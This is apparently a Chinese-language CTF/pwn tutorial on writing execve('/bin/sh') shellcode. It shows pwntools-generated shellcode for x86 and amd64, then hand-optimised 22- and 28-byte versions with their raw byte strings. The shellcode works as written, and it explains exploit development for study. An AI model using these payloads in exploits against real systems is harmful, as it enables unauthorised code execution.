shellcode理解
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制之机械码,以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机械码,让电脑可以执行攻击者的任意指令。
在pwn的过程中我们的目标一般来说都是执行system(“/bin/sh”);其实shellcode也是较为类似的,只不过是一串机器码
x86
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| >>> print(shellcraft.sh()) /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx, esp /* push argument array ['sh\x00'] */ /* push 'sh\x00\x00' */ push 0x1010101 xor dword ptr [esp], 0x1016972 xor ecx, ecx push ecx /* null terminate */ push 4 pop ecx add ecx, esp push ecx /* 'sh\x00' */ mov ecx, esp xor edx, edx /* call execve() */ push SYS_execve /* 0xb */ pop eax int 0x80 >>>
|
可以很明显的看出来这个python默认生成的shellcode是32位的shellcode。
32位的函数的参数不是栈里面的内容吗,为什么这里非要高寄存器呢?是因为这是系统调用的所以参数使用的是寄存器。
python已经告诉我们上面的shellcode最终执行的是什么了
execve(path=’/bin///sh’, argv=[‘sh’], envp=0)
32位的第一个参数为ebx,后面是ecx,edx
1 2
| >>> print(len(asm(shellcraft.sh()))) 44
|
自己编写x86 shellcode
把上面的转化成十六进制代码之后求长度发现有44字节,确实是太长了,所以我们搞清楚本质就可以自己写shellcode了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| # 其实根据上面的可以看出来我们需要满足的条件有以下几条 # ebx=/bin/sh # ecx=0 # edx=0 # eax=0xb (系统调用号,后面有系统调用号很全的网站) # 所以根据上面的要求进行修改就好
push 0x68732f push 0x6e69622f mov ebx,esp xor ecx,ecx xor edx,edx xor eax,eax mov al,0xb int 0x80
|
1 2
| >>> len('\x68\x2F\x73\x68\x00\x68\x2F\x62\x69\x6E\x89\xE3\x31\xC9\x31\xD2\x31\xC0\xB0\x0B\xCD\x80') 22
|
可以看到我们就只需要22字节了省了一半,当然还可以更简短,自己下去写
amd64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| >>> context.arch='amd64' >>> print(shellcraft.sh()) /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x68 mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp /* push argument array ['sh\x00'] */ /* push b'sh\x00' */ push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi /* 0 */ push rsi /* null terminate */ push 8 pop rsi add rsi, rsp push rsi /* 'sh\x00' */ mov rsi, rsp xor edx, edx /* 0 */ /* call execve() */ push SYS_execve /* 0x3b */ pop rax syscall
>>>
|
这里的思路和x86是一样的只是使用的寄存器不相同
自己编写x86 shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| # 其实根据上面的可以看出来我们需要满足的条件有以下几条 # rdi=/bin/sh # rsi=0 # rdx=0 # rax=0x3b (系统调用号,后面有系统调用号很全的网站) # syscall 这里和x86有点区别 # 所以根据上面的要求进行修改就好
mov rbx,0x68732f6e69622f push rbx push rsp pop rdi xor rsi,rsi xor rdx,rdx mov rax,0x3b syscall
|
1 2 3
| >>> len('\x48\xBB\x2F\x62\x69\x6E\x2F\x73\x68\x00\x53\x54\x5F\x48\x31\xF6\x48\x31\xD2\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05') 28 >>>
|
也少了很多哈,同样也不是最少的,可以去网上搜或则自己写
32位和64位系统调用表
https://blog.k0nashi.cn/2021/09/14/syscall-table/